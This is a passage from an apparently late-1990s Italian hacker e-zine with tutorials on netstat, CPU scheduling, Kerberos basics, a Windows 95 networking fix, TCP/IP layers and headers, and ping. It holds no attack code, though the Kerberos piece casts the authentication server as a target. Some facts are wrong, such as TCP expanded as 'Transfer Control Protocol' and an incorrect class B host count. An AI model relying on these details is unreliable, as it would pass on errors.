di rete) che la vede direttamente e' quella LAN (150.110.190.11): infatti il net address e' il medesimo (150.110). Se mi connetto al mail server per ricevere e spedire le mie email, nell'output di netstat compariranno righe analoghe alle seguenti: Proto Local Address Foreign Address State TCP 194.166.51.92:1137 193.76.58.158:110 ESTABLISHED TCP 194.166.51.92:1138 193.76.58.158:25 ESTABLISHED La prima e' quella relativa al servizio POP (ricezione delle email), mentre la seconda e' relativa al servizio SMTP (spedizione delle mail); anche questi servizi sono uno standard dettato da Unix. Come era prevedibile, si tratta di sockets TCP. Un'altra interessante opzione di netstat e' la -e, che visualizza le statistiche relative all'attivita' su rete ethernet. Ecco un output di esempio: Interface Statistics Received Sent Bytes 30540632 335893 Unicast packets 4598 4401 Non-unicast packets 61379 302 Discards 0 0 Errors 0 0 Unknown protocols 13 Oltre al numero di bytes complessivamente ricevuti e inviati, viene visualizzato il numero di pacchetti, suddivisi in Unicast (pacchetti indirizzati da una macchina ad un altra, anche conosciuti come point-to-point) e Non-unicast (pacchetti inviati da una macchina a piu' di una macchina, i cosiddetti broadcast e multicast, che sono, in genere, di tipo UDP). L'opzione -s forza netstat a visualizzare statistiche raggruppate per tipo di pacchetto e puo' essere filtrata con l'opzione -p, che consente di specificare il tipo di pacchetto. Ad esempio, per visualizzare le statistiche relative ai pacchetti UDP, si puo' dare il comando netstat -sp UDP. Infine, netstat offre la possibilita' di specificare un intervallo (in secondi) per ottenere la ripetizione delle statistiche di rete: ad esempio il comando netstat -a 2 visualizza un output analogo a quelli esaminati sin qui per l'opzione -a ogni 2 secondi: in tal modo e' possibile tenere sotto osservazione i diversi servizi utilizzati e la loro evoluzione nel tempo, cioe' il mutare del loro State, che oltre a ESTABLISHED puo' assumere diversi valori, tra cui, ad esempio TIME_WAIT (quando e' in attesa di risposta dalla macchina remota) e CLOSE_WAIT (quando la macchina remota ha appena chiuso il servizio). Barninga Z ͻ Ŀ SISTEMI OPERATIVI ٺ ͼ Un carissimo saluto a tutti... partecipo a questa e-zine con una digressione teorica e sottolineo teorica sui sistemi operativi. Premetto subito che le spiegazioni che troverete si riferiscono agli OS in generale... l'argomento si presenta forse un po' palloso ma molto utile per capire approfonditamente il funzionamento dei sistemi. Ringrazio tutti quelli che, vista l'introduzione, non si sono spaventati e hanno continuato la lettura spinti dalla loro voglia irresistibile di apprendere. Incominciamo. Che cos'e' un OS? Letteralmente un OS costituisce l'interfaccia tra la macchina e l'utente. Esso coordina le risorse del sistema e gestisce gli eventi che derivano dall'uso dell'OS stesso. Le risorse possono essere definite come le entita' hardware o software che concorrono allo sviluppo di un qualsiasi processo produttivo. . La struttura tipica di un OS viene normalmente schematizzata come struttura a "cipolla" e comprende i seguenti livelli: * Utilizzo e sincronizzazione della CPU. * Gestione della memoria centrale (RAM). * Gestione delle periferiche di I/O. * Gestione del File System. * Interfaccia utente. * Applicazioni con funzione di utilita' per l'utente. Gestione dei Processi. Iniziamo con l'analisi completa dei processi. Per capire cosa sono i processi bisogna rifarsi al concetto di programma che e' definibile come una sequenza di istruzioni da eseguire. Il processo, invece, e' la conseguenza dell'esecuzione delle citate istruzioni e quindi della gestione delle risorse coinvolte. In breve possiamo dire che il processo e l'insieme degli stati assunti dal sistema durante l'esecuzione dei programmi. Gli stati che un processo puo' assumere all'interno dell'elaboratore sono tre e precisamente: * stato di ready quando il processo attende la disponibilita' della CPU. * stato di running quandi il processo viene eseguito dalla CPU. * stato di waiting quando il processo richiede l'intervento di un'altra risorsa. Cmq, per capire, facciamo un esempio e immaginiamo di scrivere un programmino del cazzo in C... dopo prendiamo il nostro bravo compilatore GCC e creiamo l'eseguibile; ecco a questo punto il compilatore trasforma il codice in una serie di istruzioni sequenziali. Ma cosa accade quando mandiamo il nostro processo in esecuzione? Il processo viene messo in ready dalla CPU poi la CPU esegue il processo in running e a questo punto o completa l'esecuzione o finisce in waiting in seguito ad una richiesta del programma di fornire un Input (per esempio e' richiesto l'inserimento di una dato da tastiera). Adesso direte bravo bella forza... ci voleva tanto. Beh immaginate che l'ambiente in cui lavoriamo sia multi-tasking (ovvero la possibilita' di eseguire piu processi contemporaneamente) e magari anche multi-utente; le cose cambiano avremo centinaia o migliaia di processi che richiederanno la loro esecuzione e se ancora non l'avete capito la CPU esegue solo un processo per volta in quanto e' una risorsa non divisibile ma interrompibile. I problemi sono pertanto enormi e richiedono l'utlizzo di algoritmi di gestione che andremo ora ad analizzare. Le strategie di gestione sono cosi classificabili: * Politica event driven * Politica time driven Analizziamo gli algoritmi event driven. Algoritmo di gestione FCFS (First Come First Served). E' l'algoritmo di gestione piu' semplice in assoluto; i processi vengono serviti in base al loro ordine di arrivo fino alla terminazione o fino al verificarsi di una interruzione esterna. Lo svantaggio piu' evidente per l'utente consiste nella variabilita' del tempo di risposta e nel rischi che il proprio lavoro non venga mai eseguito se un altro processo tiene indefinatamente la CPU per se stesso. Algoritmo di gestione SJF (Shortes Job First). In base a questo criterio verra' eseguito per primo il processo che presenta il minor numero di istruzioni. Chiaramente i processi brevi anche se arrivati dopo passano davanti quindi come svantaggio si nota una penalizzazione eccessiva dei processi con molte istruzioni per i quali si possono generare situazioni di attesa indefinita. Algoritmo di gestione SPTF (Shortest Job Time First) Variante sofisticata del precedente algoritmo; viene fatta una stima a priori del tempo di elaborazione e, successivamente, vengono scelti i processi in modo da servire prima quelli che impegneranno in minor misura la CPU. (NOTA DI N0bodY88 = siccome oggi ho preso 7 all'interrogazione di informatik anke su questa cosa ringrazio Frensis e aggiungo all'ultima frase che la stima non avviene calcolando i tempi in senso letterale (sarebbe troppo lungo) ma guardando quante risorse e/o periferiche utilizza, assegnando poi un tot di tempo ad ogni risorsa utilizzata) OSS: un miglioramento ai precedenti algoritmi consiste nel dare la precedenza ai processi che presentano un grande numero di richieste di I/O e che pertanto rilasciano spesso la risorsa passando frequentemente in waiting. Esistono poi sistemi che utilizzano l' algoritmo a scheduling con priorita', ovvero assegnano a ciascun processo un numero corrispondente alla priorita' ed eseguono prima quelli con priorita' maggiore; questo puo' portare al cosiddetto fenomeno di starvation verificatosi, credo, in un mainframe del M.I.T. di Boston dove un processo con bassa priorita' rimase in ready per piu' di 2 anni senza mai essere entrato in running. Gli algoritmi event-driven sono cosi terminati e, parlando chiaro, non offrono soluzioni ottimali e convenienti per un buon uso del processore. Diverso e' invece il discorso per il time-driven che presenta l'algoritmo di gestione Round-Robin. Questo algoritmo gestisce i processi attraverso il fattore-tempo fissando il cosiddetto time-slice ovvero un unita' di tempo (per esempio un decimo di secondo) conclusa la quale il processo o viene messo terminato o viene messo in stato di ready. Cerchiamo di capirci * Arrivano i processi p(1) t.e=4/10 sec., P(2) t.e=2/10 sec., p(3) t.e=5/10 sec. nella CPU; il time-slice viene fissato in 2/10 di sec. * Il processo p(1) viene eseguito dalla CPU per primo e dopo 2/10 sec. esce per lasciare spazio p(2) che avendo t.e=2/10 sec. viene terminato. Entra poi p(3) che dopo i soliti 2/10 del cazzo esce e lascia il posto a p(1) che termina la sua esecuzione e fa rientare p(3) che uscira' e rientrera' immediatamente per essere terminato anch'esso. Mi auguro che ci abbiate capito qualcosa. Cmq e' una belinata. Tranquilli. Oss: al criterio round-robin possono essere aggiunti numerosi "optional" in quanto puo' prevedere l'utilizzo delle priorita' o degli algoritmi precedente mente illustrati che, naturalmente, vengono incorporati nel round-robin stesso. N:B: l'amatissimo sistema Unix funziona con il criterio event-driven a priorita' e non come ho sentito dire un criterio FCFS. Direi che la prima puntata sui sistemi operativi puo' dirsi conclusa. Forse ci rivredremo al prossimo numero della e-zine con la gestione della RAM. Ho certamente dimenticato molto e spero che qualcuno mi faccia sapere cosa ne pensa! La mia e-mail e' defcon5@iol.it. CIAO.... ͻ Ŀ KERBEROS...IL CAGNACCIO ulntwh99@freemail.it ٺ ͼ Premessa ... Questo articolo non fa parte della mia esp. personale perche' e' stato tratto da + libri/riviste et/quindi non stressatemi nella mia povera mail .... eccheccaxx ne ho gia' abbastanza di msg a cui rispondere ... Intro al Cane ... Il sistema di autentificazione Kerberos e' stato sviluppato nel quadro del progetto Athena del MIT(Massachussets Institute of Technology) . Da allora Kerberos e' stato adottato da molte organizzazioni . Inoltre , molti sviluppatori di applicazioni includono nei propri prodotti il supporto per questo meccanismo di autenticazione . Entriamo nel vivo dell'articolo ... Kerberos e' 1 sistema di autenticazione , e' cioe' 1 sistema che certifica l'identita' di un "principal" (cosi' viene indicato 1 utente oppure 1 servizio). In entrambi i casi il principal viene definito mediante le seguenti tre componenti : - nome primario (primary name) ; - istanza (istance) ; - dominio (realm) ; Nella terminologia utilizzata da Kerberos , queste tre componenti identificano 1a tupla di valori , come nell'esempio che vi sto per fare : Nel caso di un utente la primary_name e' la login di collegamento al sistema . Istance e' nulla o contiene particolari info riguardanti l'utente stesso . Nel caso di 1 servizio , primaryname e' il nome del servizio e si utilizza il nome del sistema come istance ad es. rlogin.mymachine . In ogni caso il valore realm viene utilizzato per distinguere differenti domini di autenticazione . Usando il parametro realm e' possibile avere un server Kerberos diverso per ciascuna sottosezione di un'organizzazione invece di un unico server centralizzato . Questa seconda situazione presenterebbe l'obiettivo principale per noi dal momento che tale server dovrebbe essere dichiarato affidabile all'interno dell'intera organizzazione . Se cosi' e' impstato ...vai di fantasia !!! I princypal di Kerberos ottengono dei tagliandi (ticket) da 1 server speciale detto ticket-granting server . Ciascun ticket e' formato da 1a serie di informazioni che identificano il princypal codificato nella chiave privata per quel determinato servizio . Dal momento che soltanto Kerberos e il servizio conoscono questa chiave , essa e' considerata autentica . Il ticket distribuito dal ticket-granting server contiene 1a nuova chiave privata di sessione conosciuta anche dal client . Questa chiave viene spesso utilizzata per cifrare le transazioni che si verificano durante una sessione . Il maggior vantaggio fornito dall'approcio adottato in Kerberos e' rappresentato dal fatto che ciascun ticket ha 1a durata specifica . Al termine di questa e' necessario richiedere 1 nuovo ticket al ticket-granting server . Nel prossimo numero "Svantaggi del Kerberos" (quello che ci interessa ...) . Al proxximo numero by ULNTWH99 . a ͻ Ŀ GESTIRE + SCHEDE DI RETE CON WINDOWS 95 ٺ ͼ Windows 95 non riesce sempre a gestire correttamente l'indirizzamento dei pacchetti IP sulla connessione SLIP o PPP (in pratica, l'Acesso Remoto) se, al momento della sua attivazione, sulla macchina e' attivo piu' di un protocollo TCP/IP. In altre parole, se, ad esempio, sul pc sono installate due o piu' schede di rete e su ciascuna e' attivo un protocollo TCP/IP col suo bravo indirizzo, o vi e' una scheda sola alla quale e' associato piu' di un indirizzo IP, non e' piu' possibile collegarsi ad Internet. O meglio, ci si collega, ma non e' possibile raggiungere alcun sito ne' utilizzare alcun servizio. A occhio e croce si direbbe che in questi casi Windows 95 non utilizzi l'indirizzo del Provider Internet (tanto per farla breve) quale default gateway o non riesca ad utilizzarne il Domain Name Server. Di conseguenza, i pacchetti destinati a Internet si perdono invece sulle LAN locali oppure non vengono addirittura inviati. I collegamenti LAN rimangono invece regolarmente funzionanti. L'inconveniente ha un rimedio, consistente nel disabilitare temporaneamente le schede LAN in modo che resti attivo al massimo un protocollo TCP/IP oltre a quello dell'Accesso Remoto, connettersi ad Internet, e riabilitare le schede a connessione attiva. Per disabilitare una scheda LAN e' sufficiente cliccare col pulsante destro sull'icona "Risorse del computer" (o "My Computer", per chi ha la versione inglese) e selezionare "Proprieta'" dal pop-up menu che appare. Compare un elenco di periferiche. Cliccando col pulsante sinistro sul "+" a sinistra del simbolo delle schede di rete viene visualizzato l'elenco delle schede di rete installate sulla macchina, la prima delle quali e' la "scheda" (sarebbe meglio parlare di driver) per l'Accesso Remoto. Selezionando una delle schede e cliccando sul button "Proprieta'" si apre una finestra in fondo alla quale e' presente un elenco di configurazioni (di solito una sola, quella "corrente"), ciascuna corredata di un checkbox. E' sufficiente cliccare sui checkbox in modo che siano tutti vuoti (e percio' disattive le configurazioni corrispondenti) e cliccare poi su "OK". A questo punto si puo' attivare la connessione ad Internet come di consueto e, a collegamento avvenuto, se lo si desidera e' possibile riabilitare la scheda (o le schede) precedentemente disabilitate. Per riabilitare una scheda si segue la stessa procedura, ma questa volta bisogna far ricomparire il checkmark dentro il "quadratino". Se dopo avere disabilitato le schede il collegamento PPP continua a non funzionare, allora e' necessario (ma guarda un po') effettuare un bootstrap: la macchina ripartira' con le schede gia' disabilitate, e queste potranno essere riabilitate una volta stabilita la connessione dialup. Barninga Z ͻ Ŀ TCP/IP (QUELLO CHE ANCORA NON STATO DETTO) ٺ ͼ NO (C)1998 DarkSide Siamo cosi' giunti al secondo numba, questa volta l'argomento di cui trattero' e' molto pi complesso del precedente quindi, prima di cominciare, leggere bene il foglietto illustrativo. Indicazioni terapeutiche ----------------------------------------------------------------------------- Indicato per chi di TCP/IP & company non sa NIENTE. Avvertenze ----------------------------------------------------------------------------- Tenere fuori dalla portata dei bambini. Sovradosaggio ----------------------------------------------------------------------------- L'iperdosaggio potrebbe provocare uno stato di confusione mentale. Effetti collaterali ----------------------------------------------------------------------------- RARAMENTE a decorrenza fatale :). Composizione ----------------------------------------------------------------------------- Ok, si comincia... La sigla TCP/IP fa riferimento a un set di protocolli utilizzati dai computer per trasmettere le informazioni, e' di semplice intuizione che essi sono alla base di Internet. I 4 protocolli TCP/IP pi utilizzati sono: 1) IP Internet Protocol: che si occupa di trasferire i dati fra i computer host della rete. 2) TCP Transfer Control Protocol: sposta tra le applicazioni i dati costituiti da pi pacchetti. 3) UDP User Datagram Protocol: Svolge lo stesso compito del TCP tuttavia e' meno affidabile in quanto trasferisce un unico pacchetto di dati. 4) ICMP Internet Control Message Protocol: Comunica messaggi di errore e altre condizioni che richiedano attenzione. Il TCP/IP e' stato realizzato sulla base di un modello concettuale chiamato ISO/OSI ovvero: International Standards Organization / Open Systems Interconnection (1977 - 1984). Tale modello descrive il flusso dei dati tra il collegamento fisico alla rete e l'applicazione dell'utente finale, ed e' suddiviso in 7 livelli ognuno dei quali fornisce determinati servizi a quelli sovrastanti. Si deve considerare che ogni livello, non sa cosa fanno gli altri e inoltre, comunica solo con quello immediatamente sovrastante e/o sottostante. Il modello OSI puo' essere schematizzato come segue: LIVELLO TIPO DI DATI ________________________________________________________ | | | <-- Comando + 7 | Livello swll'applicazione | Messaggi | eventuali dati |_________________________________|______________________| | | | 6 | Livello di presentazione | Messaggi | |_________________________________|______________________| | | | 5 | Livello della sessione | Messaggi | |_________________________________|______________________| | | | 4 | Livello del trasporto | Messaggi | |_________________________________|______________________| | | | <-- blocco 3 | Livello della rete | Pacchetti | elementare di |_________________________________|______________________| dati | | | <-- sequenze di 2 | Livello data-link | Trame | bit |_________________________________|______________________| | | | <-- Unit 1 | Livello fisico | Bit | minima di |_________________________________|______________________| informazione poiche' ad ogni livello e' associato almeno un protocollo che ne definisce la funzione, possiamo dire in senso figurato che i protocolli sono disposti uno sull'altro, ed e' per questo che si parla di stack (o pila) di protocolli. L'implementazione TCP/IP del modello ISO/OSI utilizza solo 5 dei 7 livelli sopra citati come illustra il seguente schema: ( OGNI COLLEGAMENTO DEVE ESSERE CONSIDERATO BIDIREZIONALE ) ___________________________________________________________________________ | | | | Livello della| Programma Programma Programma Programma | | applicazione | | | | | | |_______________|________|_____________|_____________|_____________|________| | | | | | | | | Livello del | | TCP | UDP | | trasporto | | \ | / | |_______________|________|________________\__________|__________/___________| | | | \ _______|_______ / | | Livello | ICMP------------------|______IP_______|--------IGMP | | della rete | | | |_______________|____________________________________|______________________| | | | | | Livello | ARP---------Interfaccia----------RARP | | data-link | hardware | |_______________|____________________________________|______________________| | | | | | Livello | | | | fisico | LINNEE DI TRASMISSIONE | |_______________|___________________________________________________________| nello schema sono citati solo alcuni tra i protocolli pi conosciuti mentre, nella realt, le relazioni tra i livelli del modello OSI e lo stack dei protocolli TCP/IP sono molto pi numerose, tenete presente che sto riassumendo... :). Per comprendere meglio vediamo ora lo scopo di ciascun livello all'interno del protocollo TCP/IP, ma prima PAUSA MARLBORO ... ( se non ci fossero bisognerebbe inventarle ). Ok, proseguiamo... 1) Il livello fisico, trasmette i bit di dati attraverso il mezzo fisico (doppino, cavo di rete ecc...). 2) Il livello data-link, gestisce i trame, e' dotato di un'interfaccia hardware che normalmente corrisponde alla scheda di rete installata sul computer. Include diversi moduli di protocollo tra cui: ARP (Address Resolution Protocol) RARP (Reverse Address Resolution Protocol) SLIP (Serial Line Internet Protocol) PPP (Point-to-Point Protocol) e altri... 3) Il livello della rete, all'estremit del mittente converte i pacchetti in trame di dati pi piccoli. All'estremit del ricevente, unisce nuovamente le trame ricostruendo i vari pacchetti. Poiche' contiene il modulo IP tale livello rappresenta il nucleo centrale di qualsiasi rete basata sui protocolli TCP/IP. I protocolli ICMP e IGMP citati nello schema gestiscono alcuni messaggi particolari quali quelli di errore e quelli di multicast (messaggi inviati a pi sistemi). 4) Il livello del trasporto, all'estremit del mittente, divide i messaggi in vari pacchetti. All'estremit del ricevente ricompone i messaggi originali e invia un riscontro dell' avvenuta ricezione. Controlla inoltre che i dati vengano ricevuti nell'ordine esatto entro il tempo stabilito, in caso di errore chiede che i dati vengano ritrasmessi. 5) Il livello delle applicazioni, invia e riceve i dati inviati dal livello di trasporto. Arrivati a questo punto dovreste essere in grado di capire come avviene il passaggio dei dati da un livello all'altro, per chiarire ogni possibile dubbio passiamo ad un esempio. Supponiamo di dover spedire un file qualsiasi... 1) Il programma preposto invia il file verso il basso nello stack dei protocolli fino a raggiungere il livello di trasporto. 2) Il livello di trasporto allega al file la propria intestazione e lo invia al livello di rete. 3) Il livello della rete suddivide il file in pacchetti, ai quali aggiunge ulteriori informazioni di intestazione e invia i pacchetti al livello data-link. 4) Il livello data link esegue un ulteriore suddivisione e invia i trame al livello fisico. 5) Il livello fisico trasmette i trame lungo la rete sotto forma di impulsi elettrici. 6) Gli impulsi passano attraverso vari dispositivi di rete che si trovano tra il computer trasmittente e quello ricevente. Ogni computer controlla di non essere la destinazione e in tal caso fa procedere verso la meta ( La verifica e' a carico del livello di rete ). 7) Nel computer ricevente, attraverso il processo inverso il file viene ricreato, ( tale processo e' volontariamente omesso perche' e' di semplice deduzione ). La verifica della destinazione e l'indirizzamento dei pacchetti sono possibili grazie a una combinazione di 32 bit ( 4 byte ) che identifica univocamente un qualsiasi computer connesso ad Internet, come molti di voi avranno gi capito, mi riferisco all'IP Address. I bit di un indirizzo IP vengono interpretati nel seguente modo: Il primo identifica la rete a cui siete collegati, mentre il secondo identifica il vostro PC. A seconda del numero di computer da cui e' costituita una rete possiamo distinguere diverse classi di indirizzi ovvero: Classe A: byte pi significativo da 1 a 126 0, 127 riservati Classe B: byte pi significativo da 128 a 191 Classe C: byte pi significativo da 192 a 223 Classe D: byte pi significativo da 224 a 239 Classe E: byte pi significativo da 240 a 254 255 riservato per byte pi significativo si intende quello pi a sinistra. La classe specifica il numero di byte che l'indirizzo utilizza per identificare la rete. Nel dettaglio possiamo dire che: comunemente vengono usate solo le prime 3... La classe A: Puo' avere 16.777.214 host per rete e un totale di 126 reti. 1 byte disponibile per ID di rete, i rimanenti 3 identificano l'host. Il byte pi significativo inizia sempre con il bit 0. La classe B: 64.516 host per rete e untotale di 16.256 reti. 2 byte disponibili per ID di rete, i rimanenti 2 identificano l'host. Il byte pi significativo inizia sempre con i bit 10. La classe C: 254 host per rete e 2.064.512 reti. 3 byte disponibili per ID di rete, il rimanente byte identifica l'host. Il byte pi significativo inizia sempre con i bit 110. La classe D: Utilizzata negli indirizzi multicast. Il byte pi significativo inizia sempre con i bit 1110. La classe E: riservata per usi futuri. Il byte pi significativo inizia sempre con i bit 11110. Uno spot su... I Byte riservati. Un campo contenente il valore 0 viene interpretato come "questo", per esempio l' indirizzo 0.0.0.154 significa numero di host 154 su questa rete di classe C. L'indirizzo di classe A 127 tipicamente 127.0.0.1 per convenzione e' utilizzato come indirizzo di loopback, chi di voi non lo ha mai usato durante i vari esperimenti di hacking off-line ? ;) Se un campo dell'indirizzo contiene il N 255, questo rappresenta un indirizzo broadcast (messaggio destinato a tutti i computer della rete) ad esempio, 181.54.255.255 identifica tutti gli host della rete di classe B 181.54. In alcune reti anche 0 e' un indirizzo broadcast. Riprendiamo... dovrebbe a questo punto essere chiaro il quantomeno ostico schema di indirizzamento TCP/IP, oltre che il concetto sul quale si basa qualsiasi domscan. Il compito di aggiungere l'ip sorgente e destinazione spetta al livello della rete che, ad ogni pacchetto aggiunge la seguente intestazione o header che dir si voglia: 0 15 16 31 / ---------------------------------------------------------------------- | | 4-bit | 4-bit | 8-bit TOS | 16-bit total lenght | | |version|head.len| Type Of Service| (in bytes) | | ---------------------------------------------------------------------- | | 16-bit | 3-bit| 13-bit | | | identification | flags| fragment offset | | ---------------------------------------------------------------------- | | 8-bit TTL | 8-bit | 16-bit | 20 | time to live | protocol | header checksum | bytes ---------------------------------------------------------------------- | | 32-bit source IP address | | ---------------------------------------------------------------------- | | 32-bit destination IP address | | ---------------------------------------------------------------------- \ / options / ---------------------------------------------------------------------- \ data \ ---------------------------------------------------------------------- tuttavia per stabilire una connessione affidabile non e' sufficente il solo IP in quanto, similmente all'UDP, fornisce un servizio di tipo inaffidabile, ConnectionLess, le informazioni sono trasmesse come unit indipendenti, in altre parole non e' detto che la sequenza di invio dei dati sia la stessa con la quale essi giungono a destinazione quindi, se il computer ricevente richiede l'invio di dati sequenziali capite bene che sono problemi non indifferenti, inoltre non e' detto che i dati giungano a destinazione. Delegato a rendere affidabile una connessione e' l'header TCP, che viene aggiunto dal livello di trasporto... 0 15 16 31 / ---------------------------------------------------------------------- | | 16-bit source port number | 16-bit destination port number | | ---------------------------------------------------------------------- | | 32-bit sequence number | | ---------------------------------------------------------------------- | | 32-bit acknowledgment number | 20 ---------------------------------------------------------------------- bytes | 4-bit | reserved |U|A|P|R|S|F| | | | header | |R|C|S|S|Y|I| 16-bit window size | | | lenght | (6-bits) |G|K|H|T|N|N| | | ---------------------------------------------------------------------- | | 16-bit checksum | 16-bit urgent pointer | | ---------------------------------------------------------------------- \ / options / ---------------------------------------------------------------------- \ data \ ---------------------------------------------------------------------- il TCP fornisce un servizio di tipo Connection-Oriented o affidabile, le informazioni sono trasmesse come una sequenza di byte inoltre, come potete vedere, nell'header TCP troviamo tutto cio' che serve a mantenere il controllo della connessione. Bene, credo che a questo punto il mio compito sia finito, se volete il commento dettagliato degli header e, siete curiosi di sapere come si stabilisce una connessione TCP/IP leggetevi BFI4, precisamente [ PR0GETT0 0N0S3NDAi - PARTE I ] scritto da FuSyS, avrete cosi' una panoramica completa. Se e' la prima volta che affrontate il TCP/IP vi consiglio di non prendere subito in considerazione le varie tecniche di spoofing (e' solo un consiglio). Alla prossima... [ DarkSide ] ͻ Ŀ NETWORK UTILITIES FOR DUMMIES ٺ ͼ Cenni sul TCP/IP Questa sigla che molti dei lettori conosceranno indica il protocollo che e' alla base del funzionamento di Internet e di moltissime reti locali; in realta' non si tratta di un solo protocollo, ma di due, che consentono in sostanza a un computer di essere rintracciabile nell'ambito della rete e di scambiare flussi (stream) di dati con altri computer. In realta' i protocolli TCP e IP sono solo una parte di un complesso di protocolli che vanno dal livello piu' basso, in cui si specificano i parametri elettrici e in generale fisici dei mezzi di trasmissione, a quello piu' alto che definisce il modo in cui le funzionalita' di rete sono presentate dall'applicazione all'utente. Questo complesso si chiama OSI (Open Systems Interconnection), e in pratica ognuno dei protocolli che lo costituisce si appoggia al precedente, formando una pila, o stack, ed ecco perche', parlando dell'implementazione delle funzionalita' di rete nei nostri computer, si parla di "stack TCP/IP". Il protocollo, dei due, di livello piu' basso, e' l'IP, o Internet Protocol. Esso si colloca al terzo livello nella gerarchia OSI, detto livello di rete, e come gli altri protocolli incapsula i dati che trasporta con delle informazioni supplementari che consentono la comunicazione fra computer. Di tali informazioni, quella che interessa in questa sede e' il cosiddetto Indirizzo IP, che e' quel famoso numero diviso in quattro parti che sara' capitato di vedere, per esempio, nella barra di stato del nostro browser. L'indirizzo IP e' un numero di 32 bit che viene assegnato al computer in maniera tale che questo sia l'unico nella rete con quell'indirizzo e identifichi il computer stesso. Al di sopra del protocollo IP ci sono due protocolli, che sono il TCP e l'UDP. Il primo, detto Circuito Virtuale, e' il piu' famoso, ed e' usato per molti dei servizi di rete piu' usati, come l'HTTP (pagine web), l'NNTP (news) e il POP3 (posta); esso fa si' che i due computer che dialogano vedano un flusso ordinato di dati, come se la comunicazione avvenisse direttamente, tranne ovviamente i ritardi dovuti alla trasmissione. E' il protocollo che si occupa della gestione degli errori, delle ritrasmissioni, dei pacchetti persi o duplicati, e il programma destinatario riceve i dati nello stesso ordine in cui il mittente li ha mandati. Il protocollo UDP detto anche Datagram e' invece privo di queste funzionalita', e' piu' semplice ma anche piu' insicuro; in particolare non garantisce l'ordine di arrivo dei pacchetti e nemmeno che arrivino. I programmi di rete a riga di comando Tutti i sistemi operativi con funzionalita' di rete, fra cui le varie versioni di Windows e di Unix, mettono a disposizione dei programmi per testare lo stato di particolari aspetti della rete, o di singole macchine ad essa collegate. Questi programmi sono a riga di comando, il che significa che per utilizzarli bisogna aprire una shell e digitare il nome del programma seguito da eventuali parametri. In Windows 9x o NT "aprire una shell" significa cliccare su Avvio (o Start), e scegliere Programmi -> Prompt di MS-DOS; in alternativa, Avvio (o Start) -> Esegui... e scrivere "command.com" seguito dal tasto Enter. In Unix, se si e' in ambiente grafico X-Window, bisogna aprire una console, mentre se siamo in ambiente a riga di comando possiamo lanciare i programmi direttamente (al limite passando a un'altro terminale virtuale con ALT+). I suddetti programmi di rete sono principalmente tre: ping, traceroute e netstat. Nel seguito vedremo brevemente ognuno di questi tre. Ping: Ci sei o no? Il comando ping serve principalmente a vedere se una certa macchina di rete e' attiva oppure no, ed ha la seguente forma: C:\WINDOWS>ping /? Sintassi: ping [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS] [-r numero] [-s numero] [[-j elenco-host] | [-k elenco-host]] [-w timeout] elenco-destinazioni Opzioni: -t Esegue Ping sull'host specificato finche' non viene interrotto. Per vedere le statistiche e continuare, premere Control-Inter; per interrompere, premere Control-C. -a Risolve gli indirizzi in nomi host. -n numero Invia numero di richieste di eco. -l lunghezza Invia dimensione buffer. -f Imposta il flag Non frammentare nel pacchetto. -i TTL Vita pacchetto. -v TOS Tipo di servizio. -r count Registra route per il conteggio dei punti di passaggio. -s count Marca orario per il conteggio dei punti di passaggio. -j elenco-host Instradamento libero lungo l'elenco host. -k elenco-host Instradamento ristretto lungo l'elenco host. -w timeout Timeout in millisecondi per ogni risposta. C:\WINDOWS> Come si puo' vedere, i parametri accessori sono diversi; i piu' importanti sono il primo e l'ultimo, che specificano rispettivamente di continuare indefinitamente e di aspettare la risposta al massimo fino al tempo specificato. E' importante anche il -r, che permette di misurare quanti passaggi intermedi bisogna attraversare per raggiungere il computer specificato. Vediamo un esempio che funziona sicuramente, qualunque sia il computer da cui trasmettiamo: C:\WINDOWS>ping 127.0.0.1 Esecuzione di Ping 127.0.0.1 con 32 byte di dati: Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Statistiche Ping per 127.0.0.1: Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 0ms, Medio = 0ms C:\WINDOWS> Come forse saprete, 127.0.0.1 e' un indirizzo IP speciale, che indica sempre la macchina locale, infatti un'alias predefinito per questo indirizzo e' localhost: C:\WINDOWS>ping localhost Esecuzione di Ping bejor [127.0.0.1] con 32 byte di dati: Risposta da 127.0.0.1: byte=32 durata=1ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64 Statistiche Ping per 127.0.0.1: Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 0ms, Massimo = 1ms, Medio = 0ms C:\WINDOWS> Come si puo' vedere, se si utilizza un nome alfanumerico invece di un indirizzo IP, ping risponde evidenziando il vero nome della macchina pingata (nell'esempio, bejor e' il nome che ho dato al mio computer) e fra parentesi quadre l'indirizzo IP. Ping invia alla macchina destinazione 4 pacchetti da 32 byte ciascuno, e per ciascuno di essi riporta delle statistiche: in particolare, il numero di byte spediti, il tempo impiegato e il Tempo di Vita dei pacchetti stessi. Infine, vengono mostrate le statistiche cumulative della sessione, cioe' la percentuale delle trasmissioni andate a buon fine e i tempi di andata/ritorno impiegati. Nel caso si pinghi la macchina locale tali valori sono poco significativi, per cui e' interessante vedere cosa dice il ping nel caso lo si testi su una macchina remota: C:\WINDOWS>ping volftp.tin.it Esecuzione di Ping cam.ca.tin.it [195.31.191.10] con 32 byte di dati: Richiesta scaduta. Risposta da 195.31.191.10: byte=32 durata=940ms TTL=246 Risposta da 195.31.191.10: byte=32 durata=626ms TTL=246 Risposta da 195.31.191.10: byte=32 durata=471ms TTL=246 Statistiche Ping per 195.31.191.10: Pacchetti: Trasmessi = 4, Ricevuti = 3, Persi = 1 (25% persi), Tempo approssimativo percorsi andata/ritorno in millisecondi: Minimo = 471ms, Massimo = 940ms, Medio = 509ms C:\WINDOWS> Quella sera il server di VolFTP doveva essere abbastanza carico, dato che, dei 4 pacchetti "sonda", uno e' andato perso, cioe' la relativa risposta non e' mai arrivata, mentre le altre tre risposte sono arrivate dopo un tempo relativamente lungo... la prima addirittura dopo "ben" quasi un secondo. Come la statistica riepilogativa riporta, il tempo medio di risposta dal computer pingato, in quel momento, era di circa mezzo secondo. Vediamo invece cosa succede nel caso in cui la 